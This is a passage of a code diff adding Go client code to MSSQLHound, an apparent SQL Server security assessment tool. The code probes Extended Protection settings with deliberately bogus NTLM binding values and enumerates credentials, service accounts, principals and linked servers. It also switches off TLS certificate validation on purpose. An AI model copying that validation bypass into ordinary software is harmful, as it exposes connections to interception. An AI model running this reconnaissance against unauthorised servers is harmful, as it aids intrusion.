+// If go-mssqldb fails with the "untrusted domain" error, it will automatically
+// fall back to using PowerShell with System.Data.SqlClient which handles
+// some SSPI edge cases that go-mssqldb cannot.
+func (c *Client) Connect(ctx context.Context) error {
+ // First try native go-mssqldb connection
+ err := c.connectNative(ctx)
+ if err == nil {
+ return nil
+ }
+
+ // Check if this is the "untrusted domain" error that PowerShell can handle
+ if IsUntrustedDomainError(err) && c.useWindowsAuth {
+ c.logVerbose("Native connection failed with untrusted domain error, trying PowerShell fallback...")
+ // Try PowerShell fallback
+ psErr := c.connectPowerShell(ctx)
+ if psErr == nil {
+ c.logVerbose("PowerShell fallback succeeded")
+ return nil
+ }
+ // Both methods failed - return combined error for clarity
+ c.logVerbose("PowerShell fallback also failed: %v", psErr)
+ return fmt.Errorf("all connection methods failed (native: %v, PowerShell: %v)", err, psErr)
+ }
+
+ return err
+}
+
+// connectNative tries to connect using go-mssqldb
+func (c *Client) connectNative(ctx context.Context) error {
+ // Connection strategies to try in order
+ // NOTE: Some servers with specific SSPI configurations may fail to connect from Go
+ // even though PowerShell/System.Data.SqlClient works. This is a known limitation
+ // of the go-mssqldb driver's Windows SSPI implementation.
+
+ // Get short hostname for some strategies
+ shortHostname := c.hostname
+ if idx := strings.Index(c.hostname, "."); idx != -1 {
+ shortHostname = c.hostname[:idx]
+ }
+
+ type connStrategy struct {
+ name string
+ serverName string // The server name to use in connection string
+ encrypt string // "false", "true", or "strict"
+ useServerSPN bool
+ spnHost string // Host to use in SPN
+ }
+
+ strategies := []connStrategy{
+ // Try FQDN with encryption (most common)
+ {"FQDN+encrypt", c.hostname, "true", false, ""},
+ // Try TDS 8.0 strict encryption (for servers enforcing strict)
+ {"FQDN+strict", c.hostname, "strict", false, ""},
+ // Try with explicit SPN
+ {"FQDN+encrypt+SPN", c.hostname, "true", true, c.hostname},
+ // Try without encryption
+ {"FQDN+no-encrypt", c.hostname, "false", false, ""},
+ // Try short hostname
+ {"short+encrypt", shortHostname, "true", false, ""},
+ {"short+strict", shortHostname, "strict", false, ""},
+ {"short+no-encrypt", shortHostname, "false", false, ""},
+ }
+
+ var lastErr error
+ for _, strategy := range strategies {
+ connStr := c.buildConnectionStringForStrategy(strategy.serverName, strategy.encrypt, strategy.useServerSPN, strategy.spnHost)
+ c.logVerbose("Trying connection strategy '%s': %s", strategy.name, connStr)
+
+ var db *sql.DB
+ var err error
+
+ if strategy.encrypt == "strict" {
+ // For strict encryption (TDS 8.0), go-mssqldb forces certificate
+ // validation regardless of TrustServerCertificate. Use NewConnectorConfig
+ // to override TLS settings so we can connect to servers with self-signed certs.
+ db, err = openStrictDB(connStr)
+ } else {
+ db, err = sql.Open("sqlserver", connStr)
+ }
+ if err != nil {
+ lastErr = err
+ c.logVerbose(" Strategy '%s' failed to open: %v", strategy.name, err)
+ continue
+ }
+
+ // Test the connection with a short timeout
+ pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
+ err = db.PingContext(pingCtx)
+ cancel()
+
+ if err != nil {
+ db.Close()
+ lastErr = err
+ c.logVerbose(" Strategy '%s' failed to connect: %v", strategy.name, err)
+ continue
+ }
+
+ c.logVerbose(" Strategy '%s' succeeded!", strategy.name)
+ c.db = db
+ return nil
+ }
+
+ return fmt.Errorf("all connection strategies failed, last error: %w", lastErr)
+}
+
+// openStrictDB creates a *sql.DB for TDS 8.0 strict encryption with certificate
+// validation disabled. go-mssqldb forces TrustServerCertificate=false in strict
+// mode, so we parse the config and override InsecureSkipVerify via NewConnectorConfig.
+func openStrictDB(connStr string) (*sql.DB, error) {
+ config, err := msdsn.Parse(connStr)
+ if err != nil {
+ return nil, err
+ }
+ if config.TLSConfig != nil {
+ config.TLSConfig.InsecureSkipVerify = true //nolint:gosec // security tool needs to connect to any server
+ }
+ connector := mssqldb.NewConnectorConfig(config)
+ return sql.OpenDB(connector), nil
+}
+
+// connectPowerShell connects using PowerShell and System.Data.SqlClient
+func (c *Client) connectPowerShell(ctx context.Context) error {
+ c.psClient = NewPowerShellClient(c.serverInstance, c.userID, c.password)
+ c.psClient.SetVerbose(c.verbose)
+
+ err := c.psClient.TestConnection(ctx)
+ if err != nil {
+ c.psClient = nil
+ return err
+ }
+
+ c.usePowerShell = true
+ return nil
+}
+
+// UsingPowerShell returns true if the client is using the PowerShell fallback
+func (c *Client) UsingPowerShell() bool {
+ return c.usePowerShell
+}
+
+// executeQuery is a unified query interface that works with both native and PowerShell modes
+// It returns the results as []QueryResult, which can be processed uniformly
+func (c *Client) executeQuery(ctx context.Context, query string) ([]QueryResult, error) {
+ if c.usePowerShell {
+ response, err := c.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return response.Rows, nil
+ }
+
+ // Native mode - use c.db
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ columns, err := rows.Columns()
+ if err != nil {
+ return nil, err
+ }
+
+ var results []QueryResult
+ for rows.Next() {
+ // Create slice of interface{} to hold row values
+ values := make([]interface{}, len(columns))
+ valuePtrs := make([]interface{}, len(columns))
+ for i := range values {
+ valuePtrs[i] = &values[i]
+ }
+
+ if err := rows.Scan(valuePtrs...); err != nil {
+ return nil, err
+ }
+
+ // Convert to QueryResult
+ row := make(QueryResult)
+ for i, col := range columns {
+ val := values[i]
+ // Convert []byte to string for easier handling
+ if b, ok := val.([]byte); ok {
+ row[col] = string(b)
+ } else {
+ row[col] = val
+ }
+ }
+ results = append(results, row)
+ }
+
+ return results, rows.Err()
+}
+
+// executeQueryRow executes a query and returns a single row
+func (c *Client) executeQueryRow(ctx context.Context, query string) (QueryResult, error) {
+ results, err := c.executeQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ if len(results) == 0 {
+ return nil, sql.ErrNoRows
+ }
+ return results[0], nil
+}
+
+// DB returns the underlying database connection (nil in PowerShell mode)
+// This is used for methods that need direct database access
+func (c *Client) DB() *sql.DB {
+ return c.db
+}
+
+// DBW returns a database wrapper that works with both native and PowerShell modes
+// Use this for query methods to ensure compatibility with PowerShell fallback
+func (c *Client) DBW() *DBWrapper {
+ return NewDBWrapper(c.db, c.psClient, c.usePowerShell)
+}
+
+// buildConnectionStringForStrategy creates the connection string for a specific strategy
+func (c *Client) buildConnectionStringForStrategy(serverName, encrypt string, useServerSPN bool, spnHost string) string {
+ var parts []string
+
+ parts = append(parts, fmt.Sprintf("server=%s", serverName))
+
+ if c.port > 0 {
+ parts = append(parts, fmt.Sprintf("port=%d", c.port))
+ }
+
+ if c.instanceName != "" {
+ parts = append(parts, fmt.Sprintf("instance=%s", c.instanceName))
+ }
+
+ if c.useWindowsAuth {
+ // Use Windows integrated auth
+ parts = append(parts, "trusted_connection=yes")
+
+ // Optionally set ServerSPN using the provided spnHost (could be FQDN or short name)
+ if useServerSPN && spnHost != "" {
+ if c.instanceName != "" && c.instanceName != "MSSQLSERVER" {
+ parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%s", spnHost, c.instanceName))
+ } else if c.port > 0 {
+ parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%d", spnHost, c.port))
+ }
+ }
+ } else {
+ parts = append(parts, fmt.Sprintf("user id=%s", c.userID))
+ parts = append(parts, fmt.Sprintf("password=%s", c.password))
+ }
+
+ // Handle encryption setting - supports "false", "true", "strict", "disable"
+ parts = append(parts, fmt.Sprintf("encrypt=%s", encrypt))
+ parts = append(parts, "TrustServerCertificate=true")
+ parts = append(parts, "app name=MSSQLHound")
+
+ return strings.Join(parts, ";")
+}
+
+// buildConnectionString creates the connection string for go-mssqldb (uses default options)
+func (c *Client) buildConnectionString() string {
+ encrypt := "true"
+ if !c.encrypt {
+ encrypt = "false"
+ }
+ return c.buildConnectionStringForStrategy(c.hostname, encrypt, true, c.hostname)
+}
+
+// SetVerbose enables or disables verbose logging
+func (c *Client) SetVerbose(verbose bool) {
+ c.verbose = verbose
+}
+
+func (c *Client) SetCollectFromLinkedServers(collect bool) {
+ c.collectFromLinkedServers = collect
+}
+
+// SetDomain sets the domain for NTLM authentication (needed for EPA testing)
+func (c *Client) SetDomain(domain string) {
+ c.domain = domain
+}
+
+// SetLDAPCredentials sets the LDAP credentials used for EPA testing.
+// The ldapUser can be in DOMAIN\user or user@domain format.
+func (c *Client) SetLDAPCredentials(ldapUser, ldapPassword string) {
+ c.ldapUser = ldapUser
+ c.ldapPassword = ldapPassword
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (c *Client) logVerbose(format string, args ...interface{}) {
+ if c.verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// EPATestResult holds the results of EPA connection testing
+type EPATestResult struct {
+ UnmodifiedSuccess bool
+ NoSBSuccess bool
+ NoCBTSuccess bool
+ ForceEncryption bool
+ StrictEncryption bool
+ EncryptionFlag byte
+ EPAStatus string
+}
+
+// TestEPA performs Extended Protection for Authentication testing using raw
+// TDS+TLS+NTLM connections with controllable Channel Binding and Service Binding.
+// This matches the approach used in the Python reference implementation
+// (MssqlExtended.py / MssqlInformer.py).
+//
+// For encrypted connections (ENCRYPT_REQ): tests channel binding manipulation
+// For unencrypted connections (ENCRYPT_OFF): tests service binding manipulation
+func (c *Client) TestEPA(ctx context.Context) (*EPATestResult, error) {
+ result := &EPATestResult{}
+
+ // EPA testing requires LDAP/domain credentials for NTLM authentication.
+ // These are separate from the SQL auth credentials (-u/-p).
+ if c.ldapUser == "" || c.ldapPassword == "" {
+ return nil, fmt.Errorf("EPA testing requires LDAP credentials (--ldap-user and --ldap-password)")
+ }
+
+ // Parse domain and username from LDAP user (DOMAIN\user or user@domain format)
+ epaDomain, epaUsername := parseLDAPUser(c.ldapUser, c.domain)
+ if epaDomain == "" {
+ return nil, fmt.Errorf("EPA testing requires a domain (from --ldap-user DOMAIN\\user or --domain)")
+ }
+
+ c.logVerbose("EPA credentials: domain=%q, username=%q", epaDomain, epaUsername)
+
+ // Resolve port if needed
+ port := c.port
+ if port == 0 && c.instanceName != "" {
+ resolvedPort, err := c.resolveInstancePort(ctx)
+ if err != nil {
+ return nil, fmt.Errorf("failed to resolve instance port: %w", err)
+ }
+ port = resolvedPort
+ }
+ if port == 0 {
+ port = 1433
+ }
+
+ c.logVerbose("Testing EPA settings for %s", c.serverInstance)
+
+ // Build a base config using LDAP credentials
+ baseConfig := func(mode EPATestMode) *EPATestConfig {
+ return &EPATestConfig{
+ Hostname: c.hostname, Port: port, InstanceName: c.instanceName,
+ Domain: epaDomain, Username: epaUsername, Password: c.ldapPassword,
+ TestMode: mode, Verbose: c.verbose,
+ }
+ }
+
+ // Step 1: Detect encryption mode and run prerequisite check
+ c.logVerbose(" Running prerequisite check with normal login...")
+ prereqResult, encFlag, err := runEPATest(ctx, baseConfig(EPATestNormal))
+ if err != nil {
+ // The normal TDS 7.x PRELOGIN failed. This may indicate the server
+ // enforces TDS 8.0 strict encryption (TLS before any TDS messages).
+ c.logVerbose(" Normal PRELOGIN failed (%v), trying TDS 8.0 strict encryption flow...", err)
+ _, strictErr := runEPATestStrict(ctx, baseConfig(EPATestNormal))
+ if strictErr != nil {
+ return nil, fmt.Errorf("EPA prereq check failed (tried normal and TDS 8.0 strict): normal=%w, strict=%v", err, strictErr)
+ }
+ // TDS 8.0 strict encryption confirmed.
+ // In strict mode we cannot determine Force Encryption or EPA enforcement
+ // via NTLM AV_PAIR manipulation — additional research is required.
+ result.EncryptionFlag = encryptStrict
+ result.StrictEncryption = true
+ result.EPAStatus = "Unknown"
+ c.logVerbose(" Server uses TDS 8.0 strict encryption")
+ c.logVerbose(" Encryption flag: 0x%02X", encryptStrict)
+ c.logVerbose(" Strict Encryption (TDS 8.0): Yes")
+ c.logVerbose(" Force Encryption: No")
+ c.logVerbose(" Extended Protection: Force Strict Encryption without Force Encryption requires additional research to determine (Off/Allowed/Required)")
+ return result, nil
+ }
+
+ result.EncryptionFlag = encFlag
+ result.ForceEncryption = encFlag == encryptReq
+
+ c.logVerbose(" Encryption flag: 0x%02X", encFlag)
+ c.logVerbose(" Force Encryption: %s", boolToYesNo(result.ForceEncryption))
+
+ // Prereq must succeed or produce "login failed" (valid credentials response)
+ if !prereqResult.Success && !prereqResult.IsLoginFailed {
+ if prereqResult.IsUntrustedDomain {
+ return nil, fmt.Errorf("EPA prereq check failed: credentials rejected (untrusted domain)")
+ }
+ return nil, fmt.Errorf("EPA prereq check failed: unexpected response: %s", prereqResult.ErrorMessage)
+ }
+ result.UnmodifiedSuccess = prereqResult.Success
+ c.logVerbose(" Unmodified connection: %s", boolToSuccessFail(prereqResult.Success))
+
+ // Step 2: Test based on encryption setting (matching Python mssql.py flow)
+ if encFlag == encryptReq {
+ // Encrypted path: test channel binding (matching Python lines 57-78)
+ c.logVerbose(" Conducting logins while manipulating channel binding av pair over encrypted connection")
+
+ // Test with bogus CBT
+ bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusCBT))
+ if err != nil {
+ return nil, fmt.Errorf("EPA bogus CBT test failed: %w", err)
+ }
+
+ if bogusResult.IsUntrustedDomain {
+ // Bogus CBT rejected - EPA is enforcing channel binding
+ // Test with missing CBT to distinguish Allowed vs Required
+ missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingCBT))
+ if err != nil {
+ return nil, fmt.Errorf("EPA missing CBT test failed: %w", err)
+ }
+
+ result.NoCBTSuccess = missingResult.Success || missingResult.IsLoginFailed
+ if missingResult.IsUntrustedDomain {
+ result.EPAStatus = "Required"
+ c.logVerbose(" Extended Protection: Required (channel binding)")
+ } else {
+ result.EPAStatus = "Allowed"
+ c.logVerbose(" Extended Protection: Allowed (channel binding)")
+ }
+ } else {
+ // Bogus CBT accepted - EPA is Off
+ result.NoCBTSuccess = true
+ result.EPAStatus = "Off"
+ c.logVerbose(" Extended Protection: Off")
+ }
+
+ } else if encFlag == encryptOff || encFlag == encryptOn {
+ // Unencrypted/optional path: test service binding (matching Python lines 80-103)
+ c.logVerbose(" Conducting logins while manipulating target service av pair over unencrypted connection")
+
+ // Test with bogus service
+ bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusService))
+ if err != nil {
+ return nil, fmt.Errorf("EPA bogus service test failed: %w", err)
+ }
+
+ if bogusResult.IsUntrustedDomain {
+ // Bogus service rejected - EPA is enforcing service binding
+ // Test with missing service to distinguish Allowed vs Required
+ missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingService))
+ if err != nil {
+ return nil, fmt.Errorf("EPA missing service test failed: %w", err)
+ }
+
+ result.NoSBSuccess = missingResult.Success || missingResult.IsLoginFailed
+ if missingResult.IsUntrustedDomain {
+ result.EPAStatus = "Required"
+ c.logVerbose(" Extended Protection: Required (service binding)")
+ } else {
+ result.EPAStatus = "Allowed"
+ c.logVerbose(" Extended Protection: Allowed (service binding)")
+ }
+ } else {
+ // Bogus service accepted - EPA is Off
+ result.NoSBSuccess = true
+ result.EPAStatus = "Off"
+ c.logVerbose(" Extended Protection: Off")
+ }
+ } else {
+ result.EPAStatus = "Unknown"
+ c.logVerbose(" Extended Protection: Unknown (unsupported encryption flag 0x%02X)", encFlag)
+ }
+
+ return result, nil
+}
+
+// parseLDAPUser parses an LDAP user string in DOMAIN\user or user@domain format,
+// returning the domain and username separately. If no domain is found in the user
+// string, fallbackDomain is used.
+func parseLDAPUser(ldapUser, fallbackDomain string) (domain, username string) {
+ if strings.Contains(ldapUser, "\\") {
+ parts := strings.SplitN(ldapUser, "\\", 2)
+ return parts[0], parts[1]
+ }
+ if strings.Contains(ldapUser, "@") {
+ parts := strings.SplitN(ldapUser, "@", 2)
+ return parts[1], parts[0]
+ }
+ return fallbackDomain, ldapUser
+}
+
+// preloginResult holds the result of a PRELOGIN exchange
+type preloginResult struct {
+ encryptionFlag byte
+ encryptionDesc string
+ forceEncryption bool
+}
+
+// sendPrelogin sends a TDS PRELOGIN packet and parses the response
+func (c *Client) sendPrelogin(ctx context.Context) (*preloginResult, error) {
+ // Resolve the actual port if using named instance
+ port := c.port
+ if port == 0 && c.instanceName != "" {
+ // Try to resolve via SQL Browser
+ resolvedPort, err := c.resolveInstancePort(ctx)
+ if err != nil {
+ return nil, fmt.Errorf("failed to resolve instance port: %w", err)
+ }
+ port = resolvedPort
+ }
+ if port == 0 {
+ port = 1433 // Default SQL Server port
+ }
+
+ // Connect via TCP
+ addr := fmt.Sprintf("%s:%d", c.hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, fmt.Errorf("TCP connection failed: %w", err)
+ }
+ defer conn.Close()
+
+ // Set deadline
+ conn.SetDeadline(time.Now().Add(10 * time.Second))
+
+ // Build PRELOGIN packet
+ preloginPacket := buildPreloginPacket()
+
+ // Wrap in TDS packet header
+ tdsPacket := buildTDSPacket(0x12, preloginPacket) // 0x12 = PRELOGIN
+
+ // Send PRELOGIN
+ if _, err := conn.Write(tdsPacket); err != nil {
+ return nil, fmt.Errorf("failed to send PRELOGIN: %w", err)
+ }
+
+ // Read response
+ response := make([]byte, 4096)
+ n, err := conn.Read(response)
+ if err != nil {
+ return nil, fmt.Errorf("failed to read PRELOGIN response: %w", err)
+ }
+
+ // Parse response
+ return parsePreloginResponse(response[:n])
+}
+
+// buildPreloginPacket creates a TDS PRELOGIN packet payload
+func buildPreloginPacket() []byte {
+ // PRELOGIN options (simplified):
+ // VERSION: 0x00
+ // ENCRYPTION: 0x01
+ // INSTOPT: 0x02
+ // THREADID: 0x03
+ // MARS: 0x04
+ // TERMINATOR: 0xFF
+
+ // We'll send VERSION and ENCRYPTION options
+ var packet []byte
+
+ // Calculate offsets (header is 5 bytes per option + 1 terminator)
+ // VERSION option header (5 bytes) + ENCRYPTION option header (5 bytes) + TERMINATOR (1 byte) = 11 bytes
+ dataOffset := 11
+
+ // VERSION option header: token=0x00, offset, length=6
+ packet = append(packet, 0x00) // TOKEN_VERSION
+ packet = append(packet, byte(dataOffset>>8), byte(dataOffset)) // Offset (big-endian)
+ packet = append(packet, 0x00, 0x06) // Length = 6
+
+ // ENCRYPTION option header: token=0x01, offset, length=1
+ packet = append(packet, 0x01) // TOKEN_ENCRYPTION
+ packet = append(packet, byte((dataOffset+6)>>8), byte(dataOffset+6)) // Offset
+ packet = append(packet, 0x00, 0x01) // Length = 1
+
+ // TERMINATOR
+ packet = append(packet, 0xFF)
+
+ // VERSION data (6 bytes): major, minor, build (2 bytes), sub-build (2 bytes)
+ // Use SQL Server 2019 version format
+ packet = append(packet, 0x0F, 0x00, 0x07, 0xD0, 0x00, 0x00) // 15.0.2000.0
+
+ // ENCRYPTION data (1 byte): 0x00 = ENCRYPT_OFF, 0x01 = ENCRYPT_ON, 0x02 = ENCRYPT_NOT_SUP, 0x03 = ENCRYPT_REQ
+ packet = append(packet, 0x00) // We don't require encryption for this test
+
+ return packet
+}
+
+// buildTDSPacket wraps payload in a TDS packet header
+func buildTDSPacket(packetType byte, payload []byte) []byte {
+ packetLen := len(payload) + 8 // 8-byte TDS header
+
+ header := []byte{
+ packetType, // Type
+ 0x01, // Status (EOM)
+ byte(packetLen >> 8), // Length (big-endian)
+ byte(packetLen),
+ 0x00, 0x00, // SPID
+ 0x00, // PacketID
+ 0x00, // Window
+ }
+
+ return append(header, payload...)
+}
+
+// parsePreloginResponse parses a TDS PRELOGIN response
+func parsePreloginResponse(data []byte) (*preloginResult, error) {
+ if len(data) < 8 {
+ return nil, fmt.Errorf("response too short")
+ }
+
+ // Skip TDS header (8 bytes)
+ payload := data[8:]
+
+ result := &preloginResult{}
+
+ // Parse PRELOGIN options
+ offset := 0
+ for offset < len(payload) {
+ if payload[offset] == 0xFF {
+ break // Terminator
+ }
+
+ if offset+5 > len(payload) {
+ break
+ }
+
+ token := payload[offset]
+ dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2])
+ dataLen := int(payload[offset+3])<<8 | int(payload[offset+4])
+
+ // Adjust dataOffset relative to payload start
+ dataOffset -= 8 // Account for TDS header that we stripped
+
+ if token == 0x01 && dataLen >= 1 && dataOffset >= 0 && dataOffset < len(payload) {
+ // ENCRYPTION option
+ result.encryptionFlag = payload[dataOffset]
+ switch result.encryptionFlag {
+ case 0x00:
+ result.encryptionDesc = "ENCRYPT_OFF"
+ result.forceEncryption = false
+ case 0x01:
+ result.encryptionDesc = "ENCRYPT_ON"
+ result.forceEncryption = false
+ case 0x02:
+ result.encryptionDesc = "ENCRYPT_NOT_SUP"
+ result.forceEncryption = false
+ case 0x03:
+ result.encryptionDesc = "ENCRYPT_REQ"
+ result.forceEncryption = true
+ default:
+ result.encryptionDesc = fmt.Sprintf("UNKNOWN (0x%02X)", result.encryptionFlag)
+ }
+ }
+
+ offset += 5
+ }
+
+ return result, nil
+}
+
+// resolveInstancePort resolves the port for a named SQL Server instance using SQL Browser
+func (c *Client) resolveInstancePort(ctx context.Context) (int, error) {
+ addr := fmt.Sprintf("%s:1434", c.hostname) // SQL Browser UDP port
+
+ conn, err := net.DialTimeout("udp", addr, 5*time.Second)
+ if err != nil {
+ return 0, err
+ }
+ defer conn.Close()
+
+ conn.SetDeadline(time.Now().Add(5 * time.Second))
+
+ // Send instance query: 0x04 + instance name
+ query := append([]byte{0x04}, []byte(c.instanceName)...)
+ if _, err := conn.Write(query); err != nil {
+ return 0, err
+ }
+
+ // Read response
+ buf := make([]byte, 4096)
+ n, err := conn.Read(buf)
+ if err != nil {
+ return 0, err
+ }
+
+ // Parse response - format: 0x05 + length (2 bytes) + data
+ // Data contains key=value pairs separated by semicolons
+ response := string(buf[3:n])
+ parts := strings.Split(response, ";")
+ for i, part := range parts {
+ if strings.ToLower(part) == "tcp" && i+1 < len(parts) {
+ port, err := strconv.Atoi(parts[i+1])
+ if err == nil {
+ return port, nil
+ }
+ }
+ }
+
+ return 0, fmt.Errorf("port not found in SQL Browser response")
+}
+
+// boolToYesNo converts a boolean to "Yes" or "No"
+func boolToYesNo(b bool) string {
+ if b {
+ return "Yes"
+ }
+ return "No"
+}
+
+// boolToSuccessFail converts a boolean to "success" or "failure"
+func boolToSuccessFail(b bool) string {
+ if b {
+ return "success"
+ }
+ return "failure"
+}
+
+// Close closes the database connection
+func (c *Client) Close() error {
+ if c.db != nil {
+ return c.db.Close()
+ }
+ // PowerShell client doesn't need explicit cleanup
+ c.psClient = nil
+ c.usePowerShell = false
+ return nil
+}
+
+// CollectServerInfo gathers all information about the SQL Server
+func (c *Client) CollectServerInfo(ctx context.Context) (*types.ServerInfo, error) {
+ info := &types.ServerInfo{
+ Hostname: c.hostname,
+ InstanceName: c.instanceName,
+ Port: c.port,
+ }
+
+ // Get server properties
+ if err := c.collectServerProperties(ctx, info); err != nil {
+ return nil, fmt.Errorf("failed to collect server properties: %w", err)
+ }
+
+ // Get computer SID for ObjectIdentifier (like PowerShell does)
+ if err := c.collectComputerSID(ctx, info); err != nil {
+ // Non-fatal - fall back to hostname-based identifier
+ fmt.Printf("Warning: failed to get computer SID, using hostname: %v\n", err)
+ info.ObjectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(info.ServerName), info.Port)
+ } else {
+ // Use SID-based ObjectIdentifier like PowerShell
+ info.ObjectIdentifier = fmt.Sprintf("%s:%d", info.ComputerSID, info.Port)
+ }
+
+ // Set SQLServerName for display purposes (FQDN:Port format)
+ info.SQLServerName = fmt.Sprintf("%s:%d", info.FQDN, info.Port)
+
+ // Collect authentication mode
+ if err := c.collectAuthenticationMode(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect auth mode: %v\n", err)
+ }
+
+ // Collect encryption settings (Force Encryption, Extended Protection)
+ if err := c.collectEncryptionSettings(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect encryption settings: %v\n", err)
+ }
+
+ // Get service accounts
+ c.logVerbose("Collecting service account information from %s", c.serverInstance)
+ if err := c.collectServiceAccounts(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect service accounts: %v\n", err)
+ }
+
+ // Get server-level credentials
+ c.logVerbose("Enumerating credentials...")
+ if err := c.collectCredentials(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect credentials: %v\n", err)
+ }
+
+ // Get proxy accounts
+ c.logVerbose("Enumerating SQL Agent proxy accounts...")
+ if err := c.collectProxyAccounts(ctx, info); err != nil {
+ fmt.Printf("Warning: failed to collect proxy accounts: %v\n", err)
+ }
+
+ // Get server principals
+ c.logVerbose("Enumerating server principals...")
+ principals, err := c.collectServerPrincipals(ctx, info)
+ if err != nil {
+ return nil, fmt.Errorf("failed to collect server principals: %w", err)
+ }
+ info.ServerPrincipals = principals
+ c.logVerbose("Checking for inherited high-privilege permissions through role memberships")
+
+ // Get credential mappings for logins
+ if err := c.collectLoginCredentialMappings(ctx, principals, info); err != nil {
+ fmt.Printf("Warning: failed to collect login credential mappings: %v\n", err)
+ }
+
+ // Get databases
+ databases, err := c.collectDatabases(ctx, info)
+ if err != nil {
+ return nil, fmt.Errorf("failed to collect databases: %w", err)
+ }
+
+ // Collect database-scoped credentials for each database
+ for i := range databases {
+ if err := c.collectDBScopedCredentials(ctx, &databases[i]); err != nil {
+ fmt.Printf("Warning: failed to collect DB-scoped credentials for %s: %v\n", databases[i].Name, err)
+ }
+ }
+ info.Databases = databases
+
+ // Get linked servers
+ c.logVerbose("Enumerating linked servers...")
+ linkedServers, err := c.collectLinkedServers(ctx)
+ if err != nil {
+ // Non-fatal - just log and continue
+ fmt.Printf("Warning: failed to collect linked servers: %v\n", err)
+ }
+ info.LinkedServers = linkedServers
+
+ // Print discovered linked servers
+ // Note: linkedServers may contain duplicates due to multiple login mappings per server
+ // Deduplicate by Name for display purposes
+ if len(linkedServers) > 0 {
+ // Build a map of unique linked servers by Name
+ uniqueServers := make(map[string]types.LinkedServer)
+ for _, ls := range linkedServers {
+ if _, exists := uniqueServers[ls.Name]; !exists {
+ uniqueServers[ls.Name] = ls
+ }
+ }
+
+ fmt.Printf("Discovered %d linked server(s):\n", len(uniqueServers))
+
+ // Print in consistent order (sorted by name)
+ var serverNames []string
+ for name := range uniqueServers {
+ serverNames = append(serverNames, name)
+ }
+ sort.Strings(serverNames)
+
+ for _, name := range serverNames {
+ ls := uniqueServers[name]
+ fmt.Printf(" %s -> %s\n", info.Hostname, ls.Name)
+
+ // Show skip message immediately after each server (matching PowerShell behavior)
+ if !c.collectFromLinkedServers {
+ fmt.Printf(" Skipping linked server enumeration (use -CollectFromLinkedServers to enable collection)\n")
+ }
+
+ // Show detailed info only in verbose mode
+ c.logVerbose(" Name: %s", ls.Name)
+ c.logVerbose(" DataSource: %s", ls.DataSource)
+ c.logVerbose(" Provider: %s", ls.Provider)
+ c.logVerbose(" Product: %s", ls.Product)
+ c.logVerbose(" IsRemoteLoginEnabled: %v", ls.IsRemoteLoginEnabled)
+ c.logVerbose(" IsRPCOutEnabled: %v", ls.IsRPCOutEnabled)
+ c.logVerbose(" IsDataAccessEnabled: %v", ls.IsDataAccessEnabled)
+ c.logVerbose(" IsSelfMapping: %v", ls.IsSelfMapping)
+ if ls.LocalLogin != "" {
+ c.logVerbose(" LocalLogin: %s", ls.LocalLogin)
+ }
+ if ls.RemoteLogin != "" {
+ c.logVerbose(" RemoteLogin: %s", ls.RemoteLogin)
+ }
+ if ls.Catalog != "" {
+ c.logVerbose(" Catalog: %s", ls.Catalog)
+ }
+ }
+ } else {
+ c.logVerbose("No linked servers found")
+ }
+
+ c.logVerbose("Processing enabled domain principals with CONNECT SQL permission")
+ c.logVerbose("Creating server principal nodes")
+ c.logVerbose("Creating database principal nodes")
+ c.logVerbose("Creating linked server nodes")
+ c.logVerbose("Creating domain principal nodes")
+
+ return info, nil
+}
+
+// collectServerProperties gets basic server information
+func (c *Client) collectServerProperties(ctx context.Context, info *types.ServerInfo) error {
+ query := `
+ SELECT
+ SERVERPROPERTY('ServerName') AS ServerName,
+ SERVERPROPERTY('MachineName') AS MachineName,
+ SERVERPROPERTY('InstanceName') AS InstanceName,
+ SERVERPROPERTY('ProductVersion') AS ProductVersion,
+ SERVERPROPERTY('ProductLevel') AS ProductLevel,
+ SERVERPROPERTY('Edition') AS Edition,
+ SERVERPROPERTY('IsClustered') AS IsClustered,
+ @@VERSION AS FullVersion
+ `
+
+ row := c.DBW().QueryRowContext(ctx, query)
+
+ var serverName, machineName, productVersion, productLevel, edition, fullVersion sql.NullString
+ var instanceName sql.NullString
+ var isClustered sql.NullInt64
+
+ err := row.Scan(&serverName, &machineName, &instanceName, &productVersion,
+ &productLevel, &edition, &isClustered, &fullVersion)
+ if err != nil {
+ return err
+ }
+
+ info.ServerName = serverName.String
+ if info.Hostname == "" {
+ info.Hostname = machineName.String
+ }
+ if instanceName.Valid {
+ info.InstanceName = instanceName.String
+ }
+ info.VersionNumber = productVersion.String
+ info.ProductLevel = productLevel.String
+ info.Edition = edition.String
+ info.Version = fullVersion.String
+ info.IsClustered = isClustered.Int64 == 1
+
+ // Try to get FQDN
+ if fqdn, err := net.LookupAddr(info.Hostname); err == nil && len(fqdn) > 0 {
+ info.FQDN = strings.TrimSuffix(fqdn[0], ".")
+ } else {
+ info.FQDN = info.Hostname
+ }
+
+ return nil
+}
+
+// collectComputerSID gets the computer account's SID from Active Directory
+// This is used to generate ObjectIdentifiers that match PowerShell's format
+func (c *Client) collectComputerSID(ctx context.Context, info *types.ServerInfo) error {
+ // Method 1: Try to get the computer SID by querying for logins that match the computer account
+ // The computer account login will have a SID like S-1-5-21-xxx-xxx-xxx-xxx
+ query := `
+ SELECT TOP 1
+ CONVERT(VARCHAR(85), sid, 1) AS sid
+ FROM sys.server_principals
+ WHERE type_desc = 'WINDOWS_LOGIN'
+ AND name LIKE '%$'
